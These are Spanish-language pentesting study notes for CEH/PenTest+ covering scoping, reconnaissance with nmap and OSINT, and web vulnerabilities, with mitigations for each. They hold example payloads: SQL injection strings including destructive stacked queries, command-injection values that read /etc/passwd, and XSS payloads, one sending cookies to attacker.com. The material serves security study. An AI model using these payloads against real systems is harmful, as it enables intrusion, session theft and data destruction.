Apuntes de Pentesting

Guía completa de estudio · Módulos 2, 3, 6, 7, 8 y 9

CEH / CompTIA PenTest+ · Laboratorio académico autorizado

Uso exclusivo en entornos de laboratorio autorizados

Módulo 2 — Scoping, Requisitos y Mentalidad Ética

Este módulo cubre la fase de planificación y preparación de una prueba de penetración. Es la base legal y ética de todo el trabajo. Un pentest sin documentación correcta es un delito.

2.1 Gobernanza, Riesgo y Cumplimiento (GRC)

Regulaciones de cumplimiento normativo

Un cliente puede contratarte específicamente para verificar que cumple con ciertas regulaciones. Es importante entender qué exige cada una:

Norma	Qué protege	Aplica a	Elemento técnico exigido
PCI DSS	Datos de tarjetas de pago (crédito/débito)	Comercios, procesadores, pasarelas de pago	Segmentación de red, no usar contraseñas por defecto, rotación de claves
HIPAA	Información electrónica de salud (ePHI)	Proveedores de salud, aseguradoras, socios de negocio	Controles de acceso, auditoría, cifrado en tránsito y reposo
GDPR	Datos personales de ciudadanos de la UE	Cualquier empresa que procese datos de ciudadanos UE	Derecho al olvido, notificación de brechas en 72h
FedRAMP	Servicios cloud para el gobierno de EE.UU.	Proveedores cloud que trabajen con gobierno federal	Autorización previa, monitoreo continuo
GLBA	Datos financieros de consumidores	Instituciones financieras en EE.UU.	Programa de seguridad de la información escrito
NY DFS	Datos financieros en Nueva York	Entidades reguladas por NY DFS	Pentests anuales obligatorios, CISO designado

Elementos técnicos comunes en regulaciones

Segmentación / aislamiento de red: Separar mediante VLANs o firewalls los sistemas que manejan datos sensibles (ej. sistemas de pago) del resto de la red corporativa.

Gestión de contraseñas: No usar contraseñas por defecto, exigir complejidad y longitud mínima, implementar MFA, rotación periódica.

Gestión de claves criptográficas: Proteger las claves usadas para cifrar datos. Guía de referencia: NIST SP 800-57.

Documentos contractuales — definiciones y diferencias

Es crítico conocer exactamente qué es cada documento porque en examen suelen confundirse:

Documento	Nombre completo	Propósito principal	Cuándo se firma
NDA	Non-Disclosure Agreement / Acuerdo de Confidencialidad	Define qué información del cliente es reservada y prohíbe su divulgación	Antes de comenzar cualquier actividad
SOW	Statement of Work / Declaración de Trabajo	Describe alcance detallado, entregables específicos, cronograma y costos	Al inicio del proyecto, define QUÉ se hace
MSA	Master Service Agreement / Contrato Marco	Términos legales generales del acuerdo entre partes (pagos, disputas, responsabilidades)	Una vez, cubre múltiples proyectos futuros
SLA	Service Level Agreement / Acuerdo de Nivel de Servicio	Expectativas de rendimiento: tiempo de respuesta, disponibilidad, calidad	Al acordar los términos de servicio
RoE	Rules of Engagement / Reglas de Compromiso	Condiciones operativas de la prueba: qué se puede hacer, cuándo, cómo y dónde	Antes de comenzar las pruebas activas
Permission to Test	Permiso para Atacar	Autorización escrita explícita y específica para realizar actividades ofensivas	Obligatorio — sin esto es un delito

> ⚠ **NOTA:** *Un pentester sin 'Permission to Test' por escrito comete un delito independientemente de que el cliente lo haya contratado verbalmente. Siempre documentado.*

Descargos de responsabilidad (Disclaimers)

Los contratos deben incluir aclaraciones que limiten la responsabilidad del pentester:

- 'La prueba refleja la seguridad únicamente en la fecha del test — no garantiza seguridad futura'
- 'No se garantiza que no existan otras vulnerabilidades no encontradas durante el alcance acordado'
- 'El cliente es responsable de los sistemas en producción durante la prueba'

2.2 Alcance (Scoping) — La fase más importante

Un mal alcance lleva a problemas legales, técnicos y de negocio. Definir bien el scope antes de empezar es lo que diferencia un pentest profesional de uno aficionado.

Reglas de Compromiso (RoE) — Componentes principales

Las RoE deben especificar al menos tres componentes:

- Tipos de pruebas permitidas (y cuáles NO están permitidas)
- Horarios en que se realizarán las pruebas (ej. solo fuera de horario laboral)
- Cronograma del proyecto (puede ser un diagrama de Gantt)
- Rangos de IP, SSIDs WiFi y FQDNs en scope
- Contactos: principal, técnico y de emergencia

✓ **Clave:** *Práctica 2.2.3: Los 3 componentes principales de las RoE son tipos de pruebas, horarios y cronograma.*

Activos dentro del alcance (In-Scope Assets)

Tipo de activo	Ejemplos	Fuente de información
Infraestructura de red	Rangos IP, subredes, VLANs	Diagramas de arquitectura de red
Aplicaciones web	URLs, subdominios, FQDNs	Documentación API (Swagger, WSDL, GraphQL)
APIs	REST, SOAP, GraphQL endpoints	SDK, documentación de desarrollo
Redes inalámbricas	SSIDs, BSSIDs	Lista de puntos de acceso del cliente
Sistemas en la nube	Cuentas AWS/Azure/GCP, buckets, funciones	Diagramas de arquitectura cloud
Código fuente	Repositorios Git (si el cliente lo autoriza)	GitHub, GitLab, Bitbucket del cliente

Allow list: Sistemas y redes que SÍ se pueden probar. Cualquier sistema fuera de esta lista está prohibido.

Deny list: Sistemas explícitamente excluidos aunque estén en la red (ej. sistemas críticos, servidores de producción frágiles, sistemas de terceros).

Scope Creep — Crecimiento no controlado del alcance

El scope creep ocurre cuando el cliente pide pruebas adicionales no acordadas originalmente durante el engagement. Es uno de los mayores riesgos del proyecto.

- Puede arruinar el negocio si no se gestiona: tiempo no facturado, responsabilidades no cubiertas
- Solución: cualquier trabajo adicional requiere un nuevo SOW firmado
- Mantener comunicación continua con stakeholders para detectarlo temprano

✓ **Clave:** *Un pentest es una 'foto de la seguridad en un momento dado'. No garantiza seguridad futura.*

Estrategias de prueba — Unknown vs Known Environment

Estrategia	Nombre anterior	Información inicial	Ventajas	Cuándo usarla
Unknown Environment	Caja negra (Black Box)	Solo IPs y dominios — información mínima	Simula atacante externo real; más realista	Cuando el cliente quiere probar cómo resiste un ataque externo sin información
Known Environment	Caja blanca/gris (White/Grey Box)	Diagramas, configs, credenciales, código fuente	Más eficiente y menos costoso; enfocado	Cuando el cliente tiene preocupaciones específicas y quiere profundidad

⚠ **NOTA:** *En unknown environment el cliente puede no saber cuándo ocurre la prueba — esto también ejercita al equipo de defensa (Blue Team).*

2.3 Mentalidad de Hacking Ético

Lo que diferencia a un hacker ético de uno malicioso no es solo la técnica — son los principios y la conducta profesional.

Prácticas clave de ética profesional

Práctica	Descripción detallada
Verificación de antecedentes	El cliente puede requerirla para el equipo. La empresa de pentesting debe hacerla a sus empleados antes de contratarlos.
Adhesión estricta al alcance	Nunca ir más allá de los sistemas autorizados, aunque sea 'interesante' técnicamente. Violar esto es un delito.
Reporte inmediato de actividad criminal	Si se encuentra evidencia de que un atacante real ya comprometió el sistema del cliente, reportar de inmediato — es una emergencia.
Limitar invasividad	No usar herramientas que puedan causar caídas. En sistemas frágiles (IoT, impresoras) usar escaneos lentos o excluirlos.
Confidencialidad del reporte	El reporte contiene información para atacar al cliente. Tratarlo como documento altamente clasificado.
Riesgo para el profesional	Incumplir puede llevar a multas o cargos penales. Tener seguro de responsabilidad civil.

Gestión de Riesgos

Tolerancia al riesgo: Cuánto riesgo está dispuesta a aceptar una organización a cambio de un beneficio. El riesgo no es malo per se — hay que equilibrarlo con el beneficio.

Evaluación de riesgo: Calcular el nivel de riesgo actual para compararlo con la tolerancia.

Aceptación del riesgo: La organización decide aceptar un riesgo (aunque esté fuera de su tolerancia) porque las alternativas son más costosas o perjudiciales. Debe ser autorizado por dirección.

Práctica 2.3.2 — Emparejamiento de prácticas éticas

Actividad	Práctica ética correspondiente
Reportar evidencia de compromiso por atacante real	Identificación y reporte inmediato de actividad criminal
No usar herramientas que puedan caer sistemas críticos	Limitación de la invasividad de las herramientas
No divulgar el reporte a terceros	Confidencialidad de los datos del cliente
Probar solo los sistemas listados en el SOW	Adhesión estricta al alcance definido
Revisar antecedentes de nuevos empleados	Verificación de antecedentes del equipo

Módulo 3 — Reconocimiento Pasivo y Activo

El reconocimiento es la primera fase activa del pentesting. Se divide en pasivo (sin tocar el objetivo) y activo (interactuando directamente). El objetivo es mapear la superficie de ataque antes de lanzar cualquier exploración técnica.

3.1 Reconocimiento Pasivo (OSINT)

No interactúa directamente con los sistemas del objetivo. Se basa en fuentes públicas de información. Es ideal para entornos de producción sensibles donde el ruido podría alertar defensas o afectar servicios.

DNS — Consultas y enumeración

El DNS es una fuente enorme de información. Cada tipo de registro revela algo diferente:

Registro DNS	Qué revela	Comando ejemplo
A	Dirección IPv4 del dominio	dig dominio.com A
AAAA	Dirección IPv6 del dominio	dig dominio.com AAAA
MX	Servidores de correo y su prioridad	dig dominio.com mx
NS	Servidores de nombres autoritativos	dig dominio.com ns
TXT	Verificaciones SPF, DKIM, DMARC y otros	dig dominio.com txt
CNAME	Alias — apunta a otro nombre de dominio	dig subdominio.dominio.com cname
PTR	Resolución inversa: IP → nombre	dig -x 192.168.1.1
SOA	Información de zona: zona primaria, email del admin	dig dominio.com soa

```
dnsrecon -d dominio.com                    # enumeración DNS completa
dnsrecon -d dominio.com -t axfr            # intento de transferencia de zona
dig dominio.com mx                         # servidores de correo
dig -x 8.8.8.8                            # búsqueda inversa
```

⚠ **NOTA:** *La transferencia de zona (AXFR) puede revelar TODOS los subdominios si el servidor DNS no está bien configurado. Es el jackpot del reconocimiento DNS.*

WHOIS — Información del registrante

WHOIS proporciona información sobre quién registró el dominio, datos de contacto técnico y administrativo, y los servidores DNS del dominio.

```
whois dominio.com
```

Datos útiles que se obtienen:

- Nombre del registrante y organización
- Emails de contacto técnico y administrativo (targets para ingeniería social)
- Email de abuso (abuse@...)
- Servidores DNS configurados
- Fechas de creación, actualización y expiración del registro
- Registrar utilizado

Certificados TLS/SSL — Subdominios ocultos

Los certificados TLS son públicos por diseño. El Certificate Transparency Log es un registro público de todos los certificados emitidos. Esto permite descubrir subdominios que no aparecen en DNS público.

- crt.sh — buscador de certificados por dominio
- sslscan — analiza el certificado de un servidor específico
- Información que revela: subdominios, algoritmo de cifrado, tamaño de clave, fecha de expiración, CA emisora

```
sslscan dominio.com
```

✓ **Clave:** *Un certificado wildcard (*.dominio.com) indica que existen múltiples subdominios pero no dice cuáles son.*

Metadatos de archivos — exiftool

Los archivos publicados en un sitio web (PDFs, imágenes, documentos Word) suelen contener metadatos que revelan información interna:

Tipo de metadato	Qué puede revelar
GPS en fotos	Ubicación exacta donde fue tomada la foto
Software	Versión de Word, Photoshop, etc. usada — puede indicar versiones sin parchear
Autor	Nombre de usuario interno del sistema
Cámara	Modelo del dispositivo
Fecha de modificación	Cuando fue editado el documento (puede diferir de la publicación)

```
exiftool imagen.jpg
exiftool documento.pdf
```

Google Dorking (Google Hacking)

Usar operadores avanzados de Google para encontrar información sensible que fue indexada sin intención. El repositorio GHDB (Google Hacking Database) contiene cientos de dorks categorizados.

Operador	Función	Ejemplo
site:	Limitar a un dominio	site:empresa.com
inurl:	Texto en la URL	inurl:admin
intitle:	Texto en el título de la página	intitle:"index of"
intext:	Texto en el contenido	intext:password
filetype:	Tipo de archivo específico	filetype:pdf confidential
ext:	Extensión de archivo	ext:log
-	Excluir resultados	site:empresa.com -www

```
intext:JSESSIONID inurl:access.log ext:log       # logs con IDs de sesión
site:empresa.com filetype:pdf confidencial       # PDFs confidenciales
indexados
```

```
intitle:"index of" /etc                          # directorios expuestos
inurl:wp-admin site:empresa.com                    # paneles WordPress
```

Shodan — El buscador de dispositivos conectados

Shodan indexa dispositivos conectados a Internet: servidores, routers, cámaras IP, sistemas SCADA, impresoras, y cualquier cosa con IP pública. Es posiblemente la herramienta OSINT más potente.

```
port:22 org:"Empresa Target"                     # SSH expuesto en la empresa
hostname:empresa.com                               # todos los hosts indexados
"default password" country:MX                    # dispositivos con contraseñas
por defecto
product:"Apache httpd" version:2.2                 # Apache desactualizado
```

Otras herramientas OSINT

Herramienta	Qué obtiene	Uso típico
Recon-ng	Framework modular tipo Metasploit para OSINT	marketplace install all; modules load; run
h8mail	Busca emails en bases de datos de filtraciones conocidas	h8mail -t email@empresa.com
Wayback Machine (archive.org)	Versiones históricas del sitio web	Ver endpoints o datos que fueron borrados
theHarvester	Emails, subdominios, IPs, nombres de empleados	theHarvester -d empresa.com -b google
LinkedIn/Redes sociales	Empleados, tecnologías usadas (ofertas de trabajo), organigramas	Ingeniería social, spear phishing
GitHub/GitLab	Credenciales, tokens API, arquitectura interna filtrada en repos públicos	Buscar commits con 'password', 'api_key', 'secret'

3.2 Reconocimiento Activo — Nmap

El reconocimiento activo interactúa directamente con los sistemas del objetivo. Puede ser detectado por IDS/IPS. Nmap (Network Mapper) es el estándar de la industria.

Tipos de escaneo Nmap — detalle completo

Tipo	Flag	Mecanismo técnico	Requiere root	Detectabilidad
SYN Scan (Half-Open)	-sS	Envía SYN → recibe SYN/ACK (abierto) o RST (cerrado). No completa el handshake.	Sí	Media — no completa conexión
TCP Connect	-sT	Completa el handshake TCP completo (SYN→SYN/ACK→ACK)	No	Alta — aparece en logs de la app
UDP Scan	-sU	Envía paquetes UDP vacíos. Respuesta ICMP port-unreachable = cerrado.	Sí	Baja — UDP es silencioso

Tipo	Flag	Mecanismo técnico	Requiere root	Detectabilidad
		Sin respuesta = abierto/filtrado		
FIN Scan	-sF	Envía paquete FIN. En sistemas Unix: sin respuesta = abierto; RST = cerrado	Sí	Baja — evade algunos firewalls
NULL Scan	-sN	Envía paquete sin flags. Mismo comportamiento que FIN	Sí	Muy baja
Xmas Scan	-sX	Envía FIN+PSH+URG. Mismo comportamiento	Sí	Muy baja
Ping Sweep	-sn	Envía ICMP echo + SYN al 443. Solo descubre hosts vivos	No	Baja
Versión	-sV	Envía probes y analiza banners para detectar versión exacta	No	Alta
Scripts NSE	-sC	Ejecuta scripts de la Nmap Scripting Engine	Varía	Alta
OS Detection	-O	Analiza respuestas TCP/IP para inferir el SO	Sí	Media
Agresivo	-A	Combina -sV -sC -O y traceroute	Sí	Muy alta
Todos los puertos	-p-	Escanea los 65535 puertos TCP	No	Alta

Templates de velocidad / timing

Template	Nombre	Uso recomendado
-T0	Paranoico	Evasión máxima de IDS. Espera 5 minutos entre probes. Solo en redes de producción muy sensibles.
-T1	Sigiloso	Evasión de IDS adaptativo. Lento.
-T2	Cortés	No sobrecarga el ancho de banda. Redes lentas o inestables.
-T3	Normal	Por defecto. Balance velocidad/estabilidad.
-T4	Agresivo	Redes locales rápidas. Asume buena conexión. Recomendado en labs.
-T5	Insano	Velocidad máxima. Puede perder puertos o crashear servicios frágiles.

Comandos Nmap de uso frecuente

```
sudo nmap -sn 192.168.1.0/24                          # ping sweep — hosts activos
```

```
sudo nmap -sS -sV -O 192.168.1.110                  # escaneo básico completo
sudo nmap -A -p- -T4 192.168.1.110 -oN out.txt      # escaneo agresivo, todos
los puertos
sudo nmap -sU -p 53,161,162 192.168.1.1             # UDP: DNS y SNMP
sudo nmap --script vuln 192.168.1.110               # buscar vulnerabilidades
conocidas
sudo nmap --script smb-enum-users -p445 <IP>        # usuarios Windows vía SMB
sudo nmap --script smb-enum-shares -p445 <IP>       # recursos compartidos SMB
sudo nmap --script smb-vuln* -p445 <IP>             # vulnerabilidades SMB
sudo nmap -sV --script=http-enum -p80,443 <IP>      # directorios web
sudo nmap --script ftp-anon -p21 <IP>               # FTP anónimo
```

Salida y formatos de reporte de Nmap

Flag	Formato	Uso
-oN	Normal (texto)	Más legible para humanos. Para el reporte del pentest.
-oX	XML	Para importar a otras herramientas (Metasploit, Dradis).
-oG	Grepable	Para procesar con grep, awk, scripts bash.
-oA	Todos	Genera los tres formatos simultáneamente. Recomendado en labs.

Enumeración específica por servicio

SMB (445) — Windows

```
enum4linux -a 192.168.1.110                         # enumeración completa
smbclient -L \\192.168.1.110                        # listar shares
smbclient \\192.168.1.110\\share -N                 # conectar a share sin
contraseña
```

Web (80/443)

```
nikto -h 192.168.1.110                              # escaneo web básico
gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://192.168.1.110/FUZZ -w wordlist.txt   # fuzzing de directorios
```

3.3 Escaneo de Vulnerabilidades

Una vez identificados los hosts y servicios, se buscan vulnerabilidades conocidas usando escáneres especializados. El trabajo real está en analizar los resultados, no en ejecutar el escáner.

Tipos de escaneo de vulnerabilidades

Tipo	Descripción	Cuándo usarlo
No autenticado (Unauthenticated)	Vista desde fuera sin credenciales. Solo ve servicios expuestos y banners.	Para simular atacante externo sin acceso previo
Autenticado (Authenticated)	Con credenciales del sistema. Ve parches instalados, configuraciones internas, procesos activos.	Más preciso. Obligatorio para cumplimiento (PCI, HIPAA)
Descubrimiento (Discovery)	Solo identifica superficie: puertos y servicios activos.	Primera fase, rápido
Completo (Full)	Ejecuta todos los plugins disponibles.	Análisis profundo. Muy ruidoso y lento.
Sigiloso (Stealth)	Configurado para evadir IDS: pocos plugins, -T0 o -T1.	Redes de producción sensibles
Cumplimiento (Compliance)	Basado en estándares: HIPAA, PCI-DSS, CIS Benchmarks.	Auditorías regulatorias

Desafíos del escaneo de vulnerabilidades

- Momento adecuado: escanear en horarios de bajo impacto (noches, fines de semana)
- No olvidar UDP: muchos servicios críticos usan UDP (DNS 53, SNMP 161, TFTP 69)
- Topología de red: escanear desde el punto más cercano al objetivo para evitar falsos negativos por firewalls intermedios
- Throttling: limitar velocidad en redes lentas o con dispositivos frágiles
- Sistemas frágiles: impresoras, IoT, PLCs industriales — usar escaneos lentos o excluirlos

Análisis de resultados y falsos positivos

Un escáner reporta que existe una vulnerabilidad, pero puede estar equivocado. Los falsos positivos son inevitables:

Método de validación	Descripción
Validar versión manualmente	Conectar al servicio y verificar la versión exacta del banner
Verificar backporting	Una distribución Linux puede tener una versión 'antigua' del software pero con parches del fabricante aplicados — el CVE no aplica
Explotar la vulnerabilidad	La validación definitiva: si el exploit funciona, la vulnerabilidad es real
Comparar con otras fuentes	Contrastar con NVD, CVE Details, Exploit-DB

Fuentes de información sobre vulnerabilidades

Fuente	URL/Descripción	Para qué sirve
CVE	cve.mitre.org	Identificador único de vulnerabilidad (CVE-2024-XXXXX). Descripción y referencias.

Fuente	URL/Descripción	Para qué sirve
NVD (NIST)	nvd.nist.gov	Base de datos nacional. Score CVSS, vectores de ataque, software afectado.
CWE	cwe.mitre.org	Debilidades de software (causa raíz). Ej: CWE-89 = SQL Injection.
CVSS Calculator	first.org/cvss	Calcular score de severidad 0-10
CAPEC	capec.mitre.org	Patrones de ataque catalogados. Cómo se explotan las CWEs.
Exploit-DB	exploit-db.com	Base de datos de exploits públicos. Buscar con searchsploit desde terminal.
US-CERT / CISA	cisa.gov	Alertas de vulnerabilidades críticas explotadas activamente

```
searchsploit apache 2.4.49                    # buscar exploits en local
searchsploit -x 50383                         # ver exploit sin copiar
searchsploit -m 50383                         # copiar exploit al
directorio actual
```

Módulo 6 — Vulnerabilidades en Aplicaciones Web

Las aplicaciones web son el vector de ataque más común en pentesting moderno. Este módulo cubre las categorías principales del OWASP Top 10 y técnicas de explotación.

6.2 Distribuciones Linux para Pentesting

Distribución	Base	Sitio web	Características principales
Kali Linux	Debian	kali.org	La más usada. Más de 600 herramientas preinstaladas. Rolling release.
Parrot OS	Debian	parrotsec.org	Más liviana que Kali. Buena para equipos con pocos recursos.
BlackArch Linux	Arch Linux	blackarch.org	Más de 2800 herramientas. Para usuarios avanzados de Arch.

> ✓ **Clave:** *WebSploit Labs (websploit.org) es un entorno online para practicar sin necesitar instalar nada localmente.*

6.3 Fallas de Lógica Empresarial (Business Logic Flaws)

Las fallas de lógica de negocio no son vulnerabilidades técnicas tradicionales (como XSS o SQLi). Son errores en el diseño del flujo de trabajo de la aplicación que permiten obtener resultados no intencionados usando transacciones completamente legítimas.

Asignación MITRE: CWE-840 (Business Logic Errors).

Característica clave: Los escáneres automáticos NO pueden detectarlas porque las transacciones son válidas técnicamente. Solo un humano que entienda el negocio puede identificarlas.

Ejemplos de fallas de lógica empresarial (MITRE)

- Propiedad no verificada: acceder a recursos de otro usuario porque el sistema no valida que eres el dueño
- Omisión de autenticación por ruta alternativa: hay otra URL que hace lo mismo sin requerir login
- Clave controlada por usuario: el usuario puede cambiar un ID o parámetro para acceder a objetos ajenos
- Recuperación de contraseña débil: el mecanismo de reset puede ser abusado
- Sin límite de velocidad (rate limiting): se puede hacer fuerza bruta sin restricción
- Liberación prematura de recursos: el sistema libera un recurso antes de que la transacción esté completa
- Aplicación incorrecta de flujo de trabajo conductual: saltar pasos del proceso esperado

Práctica 6.3.2

✅ Propiedad no verificada

✅ Omisión de autenticación mediante ruta alternativa

✅ Aplicación incorrecta de un flujo de trabajo conductual

❌ *XSS, CSRF, SQLi — estas son vulnerabilidades técnicas, no de lógica empresarial*

6.4 Vulnerabilidades de Inyección

6.4.2 SQL Injection (SQLi) — Fundamentos

La inyección SQL ocurre cuando datos no validados del usuario se incorporan directamente en consultas SQL, permitiendo modificar la lógica de la consulta.

Comandos SQL que debe conocer

Comando	Categoría	Función
SELECT	DML	Obtener datos de una tabla
INSERT INTO	DML	Insertar nuevos registros
UPDATE	DML	Modificar registros existentes
DELETE	DML	Eliminar registros
CREATE TABLE	DDL	Crear estructura de tabla
DROP TABLE	DDL	Eliminar tabla completa
ALTER TABLE	DDL	Modificar estructura de tabla existente
UNION	DQL	Combinar resultados de dos SELECT

Clasificación de ataques SQLi

Tipo	Descripción	Cómo se obtiene la información
En banda (In-band)	Los datos se obtienen directamente en la respuesta de la misma aplicación web	En la misma pantalla/respuesta HTTP
Fuera de banda (Out-of-band)	Los datos se envían a un servidor externo controlado por el atacante	Por DNS, HTTP a servidor del atacante, email
Ciega booleana (Blind Boolean)	Se hacen preguntas V/F y se observa el comportamiento de la app: responde diferente si es verdadero o falso	Inferencia del comportamiento
Ciega por tiempo (Blind Time-based)	Se usan funciones de espera (SLEEP, WAITFOR) para inferir resultados por el tiempo de respuesta	Tiempo de respuesta del servidor

Técnicas de explotación SQLi

Técnica	Descripción	Ejemplo
UNION-based	Combinar la consulta original con un SELECT del atacante para extraer datos de otras tablas	' UNION SELECT username,password FROM users--
Error-based	Forzar que la BD genere un error que incluya datos en el mensaje	' AND extractvalue(1,concat(0x7e,(SELECT version()))--
Boolean-based Blind	Construir preguntas V/F: la app responde diferente según el resultado	' AND 1=1-- (verdadero) vs ' AND 1=2-- (falso)
Time-based Blind	Usar SLEEP() para confirmar condiciones por el tiempo de respuesta	' AND IF(1=1,SLEEP(5),0)--
Stacked Queries	Ejecutar múltiples instrucciones en una sola llamada usando ;	1; DROP TABLE users--
Out-of-band	Exfiltrar datos por DNS o HTTP a servidor del atacante	' UNION SELECT load_file('/etc/passwd') INTO OUTFILE...

Huella digital de motor de base de datos

Motor	Mensaje de error característico	Query de versión
MySQL	Error 1064: You have an error in your SQL syntax	SELECT version()
SQL Server	Microsoft SQL Native Client error / Msg XXXX	SELECT @@version
Oracle	ORA-00933: SQL command not properly ended	SELECT * FROM v$version
PostgreSQL	PSQLException: ERROR: unterminated quoted string	SELECT version()
SQLite	SQLITE_ERROR: near...	SELECT sqlite_version()

Payloads y ejemplos de inyección

```
' or '1'='1                          -- bypass de login básico
' or '1'='1'--                       -- con comentario para ignorar resto
admin'--                             -- omitir verificación de contraseña
' UNION SELECT NULL,NULL,NULL--      -- determinar número de columnas
' UNION SELECT username,password,NULL FROM users--
'; INSERT INTO users(username,password) VALUES ('hacker','pass123')--
1; DELETE FROM customers--          -- stacked query destructiva
' AND IF(version() like '8%',sleep(10),'false')--   -- time-based MySQL
```

Procedimientos almacenados: Si no sanitizan la entrada también son vulnerables a SQLi. No son automáticamente seguros.

✓ **Clave:** *Mitigación definitiva: Prepared Statements / Consultas parametrizadas. También: OWASP ESAPI, ORMs bien configurados.*

Práctica 6.4.3 — Respuestas correctas

Pregunta	Respuesta correcta
SQLi que obtiene datos directamente en la respuesta web	En banda (In-band)
SQLi que envía datos por email u otro servidor	Fuera de banda (Out-of-band)
SQLi que reconstruye info por comportamiento sin ver datos	Ciega/Inferencial (Blind)
Propósito de la huella digital de BD	Entender qué base de datos usa la aplicación para adaptar los payloads
Técnica UNION	Combina dos SELECT en un resultado único para extraer datos
Técnica booleana	Verifica condiciones verdadero/falso observando comportamiento
Técnica retraso de tiempo	Usa SLEEP/WAITFOR para inferir resultados por tiempo de respuesta
1; DELETE FROM IT_Admins — tipo de ataque	Consultas Apiladas (Stacked Queries)

6.4.4 Inyección de Comandos del SO

Ejecutar comandos del sistema operativo a través de una aplicación web vulnerable. Diferente a SQLi: no ataca la base de datos sino el SO del servidor.

```
192.168.1.1; cat /etc/passwd              # Linux — encadenamiento con ;
192.168.1.1 && whoami                      # solo ejecuta si el primero exitoso
192.168.1.1 | id                           # pipe — siempre ejecuta el segundo
192.168.1.1 & netstat -an                  # fondo — ejecuta en background
```

⚠ **NOTA:** *Menos común que SQLi en aplicaciones modernas, pero muy presente en dispositivos IoT y aplicaciones legacy.*

6.4.6 Inyección LDAP

LDAP (RFC 4511) es el protocolo para servicios de directorio como Active Directory. Si la aplicación construye consultas LDAP con datos del usuario sin validar, es vulnerable.

Tipo de ataque LDAP	Descripción	Payload ejemplo
Bypass de autenticación	Forzar una condición siempre verdadera en el filtro	usuario=* — el asterisco coincide con cualquier valor
Divulgación de información	Enumerar entradas del directorio: usuarios, grupos, atributos	Usar caracteres especiales LDAP: *, (,), \

6.5 Gestión de Sesiones y Autenticación

Secuestro de sesión (Session Hijacking)

Una sesión web es una secuencia de transacciones HTTP. El ID de sesión (token) es temporalmente equivalente a las credenciales: quien lo tenga puede hacerse pasar por el usuario.

Mecanismos comunes de sesión:

- Cookies: PHPSESSID (PHP), JSESSIONID (Java), ASP.NET_SessionId (.NET)
- Reescritura de URL: el ID va en la URL (inseguro — aparece en logs)
- Campos ocultos en formularios

Buenas prácticas de gestión de sesiones

Práctica	Por qué importa
IDs únicos e impredecibles (mínimo 128 bits)	Un ID predecible puede ser adivinado o forzado
Generados con PRNG criptográfico	Los generadores pseudoaleatorios no criptográficos son predecibles
Cambiar nombre predeterminado del ID	PHPSESSID revela el lenguaje del backend
Siempre HTTPS en toda la sesión, no solo el login	Sin HTTPS, el ID puede ser interceptado en tránsito
Cookies con flag HTTPOnly	Impide que JavaScript lea la cookie — protege contra XSS
Cookies no persistentes (de sesión)	Expiran al cerrar el navegador — limita la ventana de ataque
Invalidar ID al cerrar sesión	El ID viejo no debe seguir siendo válido
Regenerar ID tras autenticación exitosa	Previene session fixation attacks

Otros ataques a autenticación

Redireccionamientos no validados (Open Redirect): La app acepta una URL del usuario como destino de redirección sin validarla. Atacante envía un link legítimo que redirige a sitio malicioso. Requiere ingeniería social.

Credenciales por defecto: Dispositivos y aplicaciones que no fuerzan cambiar la contraseña de fábrica. Atacantes usan Shodan + defaultpassword.com o cirt.net para encontrarlas.

Golden Ticket (Kerberos): Comprometer el hash KRBTGT del controlador de dominio permite crear tickets TGT falsos con cualquier privilegio, válidos hasta que el hash sea rotado. El atacante tiene acceso indefinido al dominio.

Delegación no restringida de Kerberos: Un servidor con delegación no restringida puede impersonar a cualquier usuario que se conecte a él, incluyendo administradores de dominio.

6.6 Autorización — IDOR y HPP

IDOR (Insecure Direct Object Reference): La aplicación usa un parámetro controlado por el usuario para acceder directamente a objetos en el backend (BD, archivos, funciones) sin verificar que el usuario tiene autorización.

Ejemplo clásico: la URL muestra ?customerID=1188. El atacante cambia a ?customerID=1189 y accede a los datos de otro cliente. La app nunca verifica 'este usuario tiene derecho a ver el customer 1189'.

HPP (HTTP Parameter Pollution / Contaminación de Parámetros): Enviar el mismo parámetro HTTP múltiples veces en una sola petición (?search=cars&search=bikes). Distintos frameworks procesan esto de forma diferente, lo que puede confundir validaciones o firewalls.

6.7 Cross-Site Scripting (XSS)

Inyección de scripts maliciosos (generalmente JavaScript) en páginas web de confianza que son servidas a otros usuarios.

Tipo	Dónde vive el payload	Quién es afectado	Persistente
Reflejado (Reflected)	En la URL / parámetro GET	Solo quien hace clic en el link malicioso	No
Almacenado (Stored)	En la BD del servidor (comentario, foro, perfil)	Todos los usuarios que visiten la página	Sí
Basado en DOM	En el JavaScript del cliente, nunca llega al servidor	Solo en el navegador del usuario	No

Payloads XSS básicos

```
<script>alert('XSS')</script>                        -- prueba básica
<script>document.location='http://attacker.com/steal?c='+document.cookie</scri
pt>
<img src=x onerror=alert('XSS')>                    -- cuando <script> está
filtrado
<svg onload=alert('XSS')>
<body onmouseover=alert('XSS')>
```

Técnicas de evasión de filtros XSS

- Codificación hexadecimal: <script>
- Codificación Unicode: \u003cscript\u003e
- Capitalización mixta: <ScRiPt>
- Etiquetas alternativas: <img>, <svg>, <embed>, <object>
- Eventos JavaScript: onmouseover, onerror, onload, onclick
- Comentarios HTML para romper filtros: <scr<!---->ipt>

Mitigaciones XSS

- Escapar HTML en la salida: convertir < > " ' & en entidades HTML
- Content Security Policy (CSP): header que indica qué scripts son válidos
- Flag HttpOnly en cookies: JavaScript no puede leer la cookie
- Flag SameSite en cookies: previene que se envíen en peticiones cross-site
- Sanitización de entrada con librería validada (nunca blacklist propia)

6.8–6.9 CSRF y Clickjacking

CSRF (Cross-Site Request Forgery)

Engaña al navegador del usuario autenticado para que realice acciones no deseadas en un sitio donde tiene una sesión activa. Aprovecha la confianza que el sitio tiene en el navegador del usuario.

Flujo del ataque:

- 1. El usuario inicia sesión en banco.com — el navegador guarda la cookie de sesión
- 2. Sin cerrar sesión, el usuario visita sitio-malicioso.com
- 3. El sitio malicioso tiene una imagen oculta: <img src='banco.com/transferir?a=hacker&monto=10000'>
- 4. El navegador envía la petición a banco.com incluyendo automáticamente la cookie de sesión
- 5. El banco ejecuta la transferencia porque la cookie es válida

Diferencia con XSS: XSS explota la confianza del usuario en el sitio. CSRF explota la confianza del sitio en el navegador del usuario.

Mitigación principal: CSRF tokens — valores secretos únicos por sesión incluidos en cada formulario y verificados en el servidor.

Clickjacking (Secuestro de clics)

Superpone una capa transparente (iframe) sobre un sitio legítimo. El usuario cree que está interactuando con el sitio visible, pero en realidad hace clic en elementos del sitio invisible.

Ejemplo: botón 'Ganar un iPhone gratis' visible. Debajo, invisible, un botón de 'Confirmar transferencia bancaria'.

Mitigación: Header X-Frame-Options: DENY o SAMEORIGIN. También: Content-Security-Policy con frame-ancestors.

